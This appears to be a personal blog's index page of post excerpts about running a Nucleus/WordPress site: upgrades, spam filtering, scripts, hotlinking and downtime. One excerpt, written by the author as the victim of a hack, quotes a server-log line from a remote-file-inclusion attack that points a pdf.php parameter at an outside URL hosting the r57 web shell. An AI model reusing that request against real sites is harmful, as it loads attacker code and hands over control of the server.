Lifestream: Upgraded to Wordpress 2.5. Better late than never.
Recent events have forced me to seriously reconsider the current arrangement. This journal, the scripting and the commenting function in particular. In all likelihood I will actively migrate this Nucleus journal to Wordpress over the weekend. And deactivate commenting pending a full review. Rebutting the retards who insist on commenting here is just too much [...]
As pretty much the last person in the world I signed up for a Google Mail (”Gmail”) account. I’m still not convinced of the brilliance of web mail. There are serious privacy concerns for instance. And web mail is at its best when constantly on the move and needing to read and write emails from [...]
Seems that some clever hacker managed to abuse an unforeseen vulnerability in /core/pdf.php (CVS) and run external code (like r57shell). All in all extra annoying since I wasn’t even using PDF export in the first place.
The log reveals the following pattern (pardon the formatting) …
[code]72.20.3.58 - - [29/Sep/2006:15:59:46 +0200] “POST /movies/core/pdf.php?config[pdf_module]= http://membres.lycos.fr/uid/r57en.txt? HTTP/1.1″ 200 24522
“Mozilla/4.0 [...]
Being generally weary of the spam I’ve started to receive, and having exhausted about every other option, I had to switch on SpamAssassin for the server. It is a radical and risky move but Thunderbird just couldn’t manage to sort out the inbox spam despite extensive training.
Does it produce false positives? Sure. But I don’t [...]
It would seem that the combination of spam protection plugins that I had installed created false positives in the spam ranking code. Don’t know how long this has been going on or how many comments have been shredded. Really sorry about that.
Disabled:
NP_Akismet (seems to be the culprit)
NP_MultiRBL (seems redundant)
This means that the site is relying [...]
I have started to purge and in some cases fix the layout of some of the older and more immature, pointless items in the journal. So far I’ve plain deleted about 20 or 30 items. I’m going by month, starting from the beginning, slowly working towards the present, determining what posts I can still maintain. [...]
So what do you do when you have a ton of free time on your hands? Well for starters one could make yet another feed parsing script for Last.fm. This time using the phpScrobbler class.
I think it turned out fairly well. Some CSS magic and a function to not only display cover art but also [...]
I guess it would be a little late to write an article on hotlinking. LOL. But anyway, I was just looking at my stats for June and for some reason I took the time to browse the “Latest Visitors” section of cPanel’s stats and was stunned by the amount of people hotlinking to various images.
Yeah, [...]
I don’t know if I’ll ever post this “live” but here is the new Azureus XML (Azureus_Stats.xml) processing script that I hacked together. Took me awhile since I couldn’t get my hosting company to add any sort of XML support to the server config. But here we go, using DOMXML EXSLT transformations and caching using [...]
So, I had recurring database problems and then some additional script problems, leaving the site down and out for almost two days. Now that is a little unsettling for someone who is used to perfection and having the daily cathartic effect of writing something really choleric.
Well, it would seem the system is up and running [...]
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